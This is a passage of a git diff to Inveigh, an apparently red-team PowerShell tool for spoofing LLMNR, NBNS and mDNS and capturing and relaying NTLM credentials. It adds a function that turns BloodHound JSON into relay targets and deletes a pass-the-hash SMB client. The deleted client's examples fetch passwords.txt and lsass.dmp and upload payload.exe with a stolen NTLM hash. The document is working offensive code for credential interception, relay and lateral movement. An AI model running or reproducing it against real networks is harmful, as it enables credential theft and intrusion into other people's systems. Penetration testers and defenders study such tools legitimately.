-        $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument(
-        $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
+        $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument(
+        $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
         $WPADAuthIgnore).AddArgument($WPADResponse) > $null
     $HTTP_powershell.BeginInvoke() > $null
 }
@@ -4734,9 +4751,8 @@ function HTTPSListener
     $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument(
         $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument(
         $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
-        $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument(
-        $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument(
-        $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
+        $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument(
+        $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
         $WPADAuthIgnore).AddArgument($WPADResponse) > $null
     $HTTPS_powershell.BeginInvoke() > $null
 }
@@ -4757,9 +4773,8 @@ function ProxyListener
     $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument(
         $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument(
         $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
-        $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument(
-        $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument(
-        $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
+        $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument(
+        $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument(
         $WPADAuthIgnore).AddArgument($WPADResponse) > $null
     $proxy_powershell.BeginInvoke() > $null
 }
@@ -4774,13 +4789,14 @@ function SnifferSpoofer
     $sniffer_powershell.Runspace = $sniffer_runspace
     $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
     $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
-    $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($Evade).AddArgument($IP).AddArgument(
+    $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($EvadeRG).AddArgument($IP).AddArgument(
         $LLMNR).AddArgument($LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument(
         $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument(
-        $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument(
-        $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument(
-        $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument(
-        $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null
+        $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSNonprintable).AddArgument(
+        $NBNSTTL).AddArgument($NBNSTypes).AddArgument($SMB).AddArgument($SpooferHostsIgnore).AddArgument(
+        $SpooferHostsReply).AddArgument($SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument(
+        $SpooferIPsReply).AddArgument($SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument(
+        $SpooferLearningInterval).AddArgument($SpooferThresholdHost).AddArgument($SpooferThresholdNetwork) > $null
     $sniffer_powershell.BeginInvoke() > $null
 }
 
@@ -4826,9 +4842,9 @@ function NBNSSpoofer
     $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace
     $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
     $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument(
-        $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument(
-        $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument(
-        $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null
+        $IP).AddArgument($NBNS_response_message).AddArgument($NBNSNonprintable).AddArgument($NBNSTTL).AddArgument(
+        $NBNSTypes).AddArgument($SpooferIP).AddArgument($SpooferHostsIgnore).AddArgument(
+        $SpooferHostsReply).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply) > $null
     $NBNS_spoofer_powershell.BeginInvoke() > $null
 }
 
@@ -4842,8 +4858,8 @@ function NBNSBruteForceSpoofer
     $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace
     $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
     $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument(
-        $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument(
-        $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null
+    $NBNSBruteForceHost).AddArgument($NBNSBruteForcePause).AddArgument($NBNSBruteForceTarget).AddArgument(
+    $NBNSTTL).AddArgument($SpooferIP) > $null
     $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null
 }
 
@@ -4857,11 +4873,12 @@ function ControlLoop
     $control_powershell.Runspace = $control_runspace
     $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null
     $control_powershell.AddScript($ADIDNS_functions_scriptblock) > $null
-    $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSCredential).AddArgument(
-        $ADIDNSDomain).AddArgument($ADIDNSDomainController).AddArgument($ADIDNSHostsIgnore).AddArgument(
-        $ADIDNSIP).AddArgument($ADIDNSPartition).AddArgument($ADIDNSThreshold).AddArgument(
-        $ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument($ConsoleQueueLimit).AddArgument(
-        $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null
+    $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSCleanup).AddArgument(
+        $ADIDNSCredential).AddArgument($ADIDNSDomain).AddArgument($ADIDNSDomainController).AddArgument(
+        $ADIDNSForest).AddArgument($ADIDNSHostsIgnore).AddArgument($ADIDNSPartition).AddArgument(
+        $ADIDNSThreshold).AddArgument($ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument(
+        $ConsoleQueueLimit).AddArgument($NBNSBruteForcePause).AddArgument($RunCount).AddArgument(
+        $RunTime).AddArgument($SpooferIP) > $null
     $control_powershell.BeginInvoke() > $null
 }
 
@@ -4980,7 +4997,6 @@ try
                         }
 
                         $inveigh.console_queue.RemoveAt(0)
-
                     } 
 
                     {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"}
@@ -5132,7 +5148,6 @@ try
                 }
 
                 $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-
             }
 
             if($inveigh.console_input)
@@ -5180,46 +5195,7 @@ Stop-Inveigh will stop all running Inveigh functions.
         {
             $inveigh.console_queue.Clear()
             Watch-Inveigh -NoConsoleMessage
-            <#
-            if($inveigh.relay_running)
-            {
-                $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting"
-
-                if($inveigh.file_output)
-                {
-                    $output | Out-File $Inveigh.log_out_file -Append
-                }
-
-                if($inveigh.log_output)
-                {
-                    $inveigh.log.Add($output)  > $null
-                }
-
-                Write-Output $output
-                $inveigh.relay_running = $false
-            } 
-
-            if($inveigh.running)
-            {
-                $output = "[*] [$(Get-Date -format s)] Inveigh is exiting"
-
-                if($inveigh.file_output)
-                {
-                    $output | Out-File $Inveigh.log_out_file -Append
-                }
-
-                if($inveigh.log_output)
-                {
-                    $inveigh.log.Add($output)  > $null
-                }
-
-                #Write-Output $output
-                $inveigh.running = $false
-            }
-
-            $inveigh.HTTPS = $false
-            #>
-            Start-Sleep -S 5
+            Start-Sleep -S 2
         }
         else
         {
@@ -5239,10 +5215,10 @@ Get-Inveigh will get stored Inveigh data from memory.
 .PARAMETER Console
 Get queued console output. This is also the default if no parameters are set.
 
-.PARAMETER DNS
+.PARAMETER ADIDNS
 Get added DNS host records.
 
-.PARAMETER DNSFailed
+.PARAMETER ADIDNSFailed
 Get failed DNS host record adds.
 
 .PARAMETER Learning
@@ -5291,8 +5267,8 @@ Get relay session list.
         [parameter(Mandatory=$false)][Switch]$Cleartext,
         [parameter(Mandatory=$false)][Switch]$CleartextUnique,
         [parameter(Mandatory=$false)][Switch]$Console,
-        [parameter(Mandatory=$false)][Switch]$DNS,
-        [parameter(Mandatory=$false)][Switch]$DNSFailed,
+        [parameter(Mandatory=$false)][Switch]$ADIDNS,
+        [parameter(Mandatory=$false)][Switch]$ADIDNSFailed,
         [parameter(Mandatory=$false)][Switch]$Learning,
         [parameter(Mandatory=$false)][Switch]$Log,
         [parameter(Mandatory=$false)][Switch]$NTLMv1,
@@ -5345,30 +5321,30 @@ Get relay session list.
 
     }
 
-    if($DNS)
+    if($ADIDNS)
     {
 
-        foreach($DNS_host in $inveigh.DNS_table.Keys)
+        foreach($ADIDNS_host in $inveigh.ADIDNS_table.Keys)
         {
             
-            if($inveigh.DNS_table.$DNS_host -eq 1)
+            if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1)
             {
-                Write-Output $DNS_host
+                Write-Output $ADIDNS_host
             }
 
         }
 
     }
 
-    if($DNSFailed)
+    if($ADIDNSFailed)
     {
 
-        foreach($DNS_host in $inveigh.DNS_table.Keys)
+        foreach($ADIDNS_host in $inveigh.ADIDNS_table.Keys)
         {
             
-            if($inveigh.DNS_table.$DNS_host -eq 0)
+            if($inveigh.ADIDNS_table.$ADIDNS_host -eq 0)
             {
-                Write-Output $DNS_host
+                Write-Output $ADIDNS_host
             }
 
         }
@@ -5509,9 +5485,10 @@ if($inveigh.tool -ne 1)
 
     if($inveigh.running -or $inveigh.relay_running)
     {
+        
         if(!$NoConsoleMessage)
         {
-            Write-Output "[*] Press any key to stop real time console output"
+            Write-Output "[*] Press any key to stop console output"
         }
 
         $inveigh.console_output = $true
@@ -5610,6 +5587,242 @@ if($inveigh)
 
 }
 
-#endregion
+}
+
+function ConvertTo-Inveigh
+{
+    <#
+    .SYNOPSIS
+    ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerated_data
+    for Inveigh Relay targeting.
+    #>
+
+    [CmdletBinding()]
+    param
+    ( 
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundComputersJSON,
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundSessionsJSON,
+        [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundGroupsJSON,
+        [parameter(Mandatory=$false)][Switch]$DNS,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if(!$inveigh)
+    {
+        $global:inveigh = [HashTable]::Synchronized(@{})
+        $inveigh.cleartext_list = New-Object System.Collections.ArrayList
+        $inveigh.IP_capture_list = New-Object System.Collections.ArrayList
+        $inveigh.log = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
+        $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
+        $inveigh.POST_request_list = New-Object System.Collections.ArrayList
+        $inveigh.valid_host_list = New-Object System.Collections.ArrayList
+        $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{})
+        $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{})
+        $inveigh.relay_history_table = [HashTable]::Synchronized(@{})
+        $inveigh.request_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_socket_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_lock_table = [HashTable]::Synchronized(@{})
+        $inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
+        $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
+        $inveigh.group_table = [HashTable]::Synchronized(@{})
+        $inveigh.session_count = 0
+        $inveigh.session_list = @()
+        $inveigh.enumerated_data = @()
+    }
+
+    function New-RelayEnumObject
+    {
+        param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped,
+        $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute)
+
+        if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)}
+        if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)}
+        if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)}
+        if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)}
+        if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)}
+        if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)}
+        if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)}
+        if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)}
+
+        $relay_object = New-Object PSObject
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execure
+        
+        return $relay_object
+    }
+
+    function Get-DNSEntry([String]$hostname)
+    {
+
+        try
+        {
+            $IP_list = [System.Net.Dns]::GetHostEntry($hostname)
+
+            foreach($entry in $IP_list.AddressList)
+            {
+
+                if(!$entry.IsIPv6LinkLocal)
+                {
+                    $IP = $entry.IPAddressToString
+                }
+
+            }
+                    
+        }
+        catch
+        {
+            $IP = $null
+        }
+
+        return $IP
+    }
+
+    if($BloodHoundComputersJSON)
+    {
+        $bloodHound_computers_JSON = Get-Content $BloodHoundComputersJSON
+        $bloodhound_computers = ConvertFrom-Json -InputObject $bloodhound_computers_JSON
+
+        $bloodhound_computers.Computers | ForEach-Object {
+            $hostname = $_.Name
+            [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name
+            [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name
+
+            if($DNS)
+            {
+                $IP = Get-DNSEntry $hostname
+
+                if(!$IP)
+                {
+                    Write-Output "[-] DNS lookup for $Hostname failed"
+                }
+
+            }
+
+            if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})))
+            {
+
+                if(!($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname}) -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1
+                    $inveigh.enumerated_data[$target_index].Hostname = $hostname
+                }
+                else
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1
+                }
+
+                $inveigh.enumerated_data[$target_index]."Administrator Users" = $local_admin_users
+                $inveigh.enumerated_data[$target_index]."Administrator Groups" = $local_admin_groups
+            }
+            else
+            {
+                $inveigh.enumerated_data += New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups
+            }
+
+            $IP = $null
+            $hostname = $null
+            $local_admin_users = $null
+            $local_admin_groups = $null
+            $target_index = $null
+        }
+
+    }
+
+    if($BloodHoundSessionsJSON)
+    {
+        $bloodhound_sessions_JSON = Get-Content $BloodHoundSessionsJSON
+        $bloodhound_sessions = ConvertFrom-Json -InputObject $bloodhound_sessions_JSON
+
+        $bloodhound_sessions.Sessions | ForEach-Object {
+            $hostname = $_.ComputerName
+
+            if($hostname -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
+            {
+                $IP = $hostname
+                $hostname = $null
+            }
+            else
+            {
+
+                if($DNS)
+                {
+                    $IP = Get-DNSEntry $hostname
+
+                    if(!$IP)
+                    {
+                        Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address"
+                    }
+
+                }
+
+            }
+
+            if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})))
+            {
+
+                if($IP)
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1
+                }
+                else
+                {
+                    $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1
+                }
+
+                [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions
+                 
+                if($session_list -notcontains $_.UserName)
+                {
+                    $session_list += $_.UserName
+                    $inveigh.enumerated_data[$target_index].Sessions = $session_list
+                }
+
+            }
+            else
+            {   
+                $inveigh.enumerated_data += New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName
+            }
+
+            $hostname = $null
+            $IP = $null
+            $session_list = $null
+            $target_index = $null
+        }
+    }
+    
+    if($BloodHoundGroupsJSON)
+    {
+        $bloodhound_groups_JSON = Get-Content $BloodHoundGroupsJSON
+        $bloodhound_groups = ConvertFrom-Json -InputObject $bloodhound_groups_JSON
+        
+        $bloodhound_groups.Groups | ForEach-Object {
+            [Array]$group_members = $_.Members | Select-Object -expand MemberName
+            $inveigh.group_table.Add($_.Name,$group_members)
+            $group_members = $null
+        }
+
+    }
+
+}
 
-}
\ No newline at end of file
+#endregion
\ No newline at end of file
diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1
deleted file mode 100644
index afe9a20..0000000
--- a/Invoke-SMBClient.ps1
+++ /dev/null
@@ -1,2825 +0,0 @@
-function Invoke-SMBClient
-{
-<#
-.SYNOPSIS
-Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and
-without SMB signing. Note that this client is slow compared to the Windows client.
-
-.PARAMETER Username
-Username to use for authentication.
-
-.PARAMETER Domain
-Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
-username. 
-
-.PARAMETER Hash
-NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
-
-.Parameter Action
-Default = List: (List/Recurse/Delete/Get/Put) Action to perform. 
-List: Lists the contents of a directory.
-Recurse: Lists the contents of a directory and all subdirectories.
-Delete: Deletes a file.
-Get: Downloads a file.
-Put: Uploads a file and sets the creation, access, and last write times to match the source file.
-
-.PARAMETER Source
-List and Recurse: UNC path to a directory.
-Delete: UNC path to a file.
-Get: UNC path to a file.
-Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the
-'Modify' switch, 'Source' must be a byte array.
-
-.PARAMETER Destination
-List and Recurse: Not used.
-Delete: Not used.
-Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be
-created in the current directory.
-Put: UNC path for uploaded file. The filename must be specified.
-
-.PARAMETER Modify
-List and Recurse: The function will output an object consisting of directory contents.
-Delete: Not used.
-Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's
-advisable to use this only with smaller files and to send the output to a variable.
-Put: Uploads a byte array to a new destination file.
-
-.PARAMETER NoProgress
-List and Recurse: Not used.
-Delete: Not used.
-Get and Put: Prevents displaying of a progress bar.
-
-.PARAMETER Sleep
-Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this
-if downloaded files are being corrupted.
-
-.PARAMETER Session
-Inveigh-Relay authenticated session.
-
-.EXAMPLE
-List the contents of a root share directory.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
-
-.EXAMPLE
-Recursively list the contents of a share starting at the root.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
-
-.EXAMPLE
-Recursively list the contents of a share subdirectory and return only the contents output to a variable.
-$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
-
-.EXAMPLE
-Delete a file on a share.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\payload.exe
-
-.EXAMPLE
-Delete a file in subdirectories within a share.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\payload.exe
-
-.EXAMPLE
-Download a file from a share.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt
-
-.EXAMPLE
-Download a file from within a share subdirectory and set a new filename.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\lsass.dmp -Destination server_lsass.dmp
-
-.EXAMPLE
-Download a file from a share to a byte array variable instead of disk.
-[Byte[]]$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt -Modify
-[System.Text.Encoding]::UTF8.GetString($password_file)
-
-.EXAMPLE
-Upload a file to a share subdirectory.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source payload.exe -Destination \\server\share\subdirectory\payload.exe
-
-.EXAMPLE
-Upload a file to share from a byte array variable.
-Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify
-
-.EXAMPLE
-List the contents of a share directory using an authenticated Inveigh-Relay session.
-Invoke-SMBClient -Session 1 -Source \\server\share
-
-.LINK
-https://github.com/Kevin-Robertson/Invoke-TheHash
-
-#>
-[CmdletBinding(DefaultParametersetName='Default')]
-param
-(
-    [parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List",
-    [parameter(Mandatory=$false)][String]$Destination,
-    [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username,
-    [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain,
-    [parameter(Mandatory=$true)][Object]$Source,
-    [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
-    [parameter(Mandatory=$false)][Switch]$Modify,
-    [parameter(Mandatory=$false)][Switch]$NoProgress,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,
-    [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,
-    [parameter(Mandatory=$false)][Int]$Sleep=100
-)
-
-function ConvertFrom-PacketOrderedDictionary
-{
-    param($ordered_dictionary)
-
-    ForEach($field in $ordered_dictionary.Values)
-    {
-        $byte_array += $field
-    }
-
-    return $byte_array
-}
-
-#NetBIOS
-
-function New-PacketNetBIOSSessionService
-{
-    param([Int]$HeaderLength,[Int]$DataLength)
-
-    [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]
-
-    $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
-    $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00))
-    $NetBIOSSessionService.Add("Length",$length)
-
-    return $NetBIOSSessionService
-}
-
-#SMB1
-
-function New-PacketSMBHeader
-{
-    param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)
-
-    $ProcessID = $ProcessID[0,1]
-
-    $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
-    $SMBHeader.Add("Command",$Command)
-    $SMBHeader.Add("ErrorClass",[Byte[]](0x00))
-    $SMBHeader.Add("Reserved",[Byte[]](0x00))
-    $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Flags",$Flags)
-    $SMBHeader.Add("Flags2",$Flags2)
-    $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00))
-    $SMBHeader.Add("TreeID",$TreeID)
-    $SMBHeader.Add("ProcessID",$ProcessID)
-    $SMBHeader.Add("UserID",$UserID)
-    $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00))
-
-    return $SMBHeader
-}
-
-function New-PacketSMBNegotiateProtocolRequest
-{
-    param([String]$Version)
-
-    if($version -eq 'SMB1')
-    {
-        [Byte[]]$byte_count = 0x0c,0x00
-    }
-    else
-    {
-        [Byte[]]$byte_count = 0x22,0x00  
-    }
-
-    $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00))
-    $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count)
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
-    $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
-
-    if($version -ne 'SMB1')
-    {
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
-        $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
-    }
-
-    return $SMBNegotiateProtocolRequest
-}
-
-#SMB2
-
-function New-PacketSMB2Header
-{
-    param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID)
-
-    if($Signing)
-    {
-        $flags = 0x08,0x00,0x00,0x00      
-    }
-    else
-    {
-        $flags = 0x00,0x00,0x00,0x00
-    }
-
-    [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID)
-
-    if($message_ID.Length -eq 4)
-    {
-        $message_ID += 0x00,0x00,0x00,0x00
-    }
-
-    $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary
-    $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42))
-    $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00))
-    $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00))
